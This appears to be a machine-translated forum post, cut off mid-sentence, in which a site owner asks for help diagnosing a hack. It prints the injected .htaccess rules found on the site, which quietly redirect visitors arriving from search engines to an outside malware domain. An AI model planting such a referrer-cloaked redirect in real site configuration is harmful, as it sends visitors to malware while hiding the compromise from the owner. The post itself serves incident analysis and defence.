我的网站被黑了,此时,我知道一些细节,但我不知道它究竟是如何发生的,也不知道如何在未来防止它发生。我需要你的帮助来剖析这次攻击,以便我可以防止它再次发生。这有点长,但我想确保我提供了足够的信息来帮助解决问题。
这就是发生的事情。
几周前,我收到了来自托管公司 GoDaddy 的电子邮件,说我的网站使用了太多资源,他们预计 MySQL 查询是罪魁祸首。有问题的查询是一个搜索查询,其中包含 5-6 个术语。根据我的设置方式,您搜索的术语越多,查询就越复杂。没问题。我修复了它,但与此同时,GoDaddy 也暂时关闭了我的帐户,大约 3 天后一切才恢复正常。
在那次事件之后,我的搜索引擎流量急剧下降,大约 90%。它很糟糕,因为我什么都没想到,将其写入查询失败并认为它会在 Google 重新抓取该网站时及时返回。它没有。
几天前,我收到一封来自用户的电子邮件,说我的网站托管了恶意软件。我直接在浏览器中加载了该站点,但没有看到任何注入到页面中的内容。然后我检查了我的 .htaccess 文件,发现以下内容:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>
Run Code Online (Sandbox Code Playgroud)
可爱的。而且有点狡猾。从地址栏或书签直接导航到站点,我通常会像往常一样加载站点。我很少通过搜索引擎的链接访问我的网站,所以这就是为什么只要有黑客攻击就没有被发现的原因。该恶意软件也没有直接托管在我的网站上。
快速搜索显示其他人也遇到了同样的问题,但我怀疑还有很多人还没有发现它。大多数建议是升级到最新版本的软件、更改密码等。
由于我使用的是我自己的自定义内容管理系统而不是无处不在的 Wordpress,因此我进行了更深入的挖掘。我扫描了所有文件以查找 PHP 漏洞利用中使用的常用函数:base64_decode、exec、shell 等……没有发现任何可疑的东西,也没有额外的文件。
我接下来检查了 GoDaddy 的文件管理器历史记录,发现 .htaccess 文件在我的搜索查询被指控使用过多服务器资源的同一日期更改。这可能是一个不幸的巧合,但我并不完全确定。.htaccess 文件中的重定向似乎不是资源密集型的,而且查询足够复杂,可能是资源密集型的。
我想确定我的代码不是问题,所以我在修改 …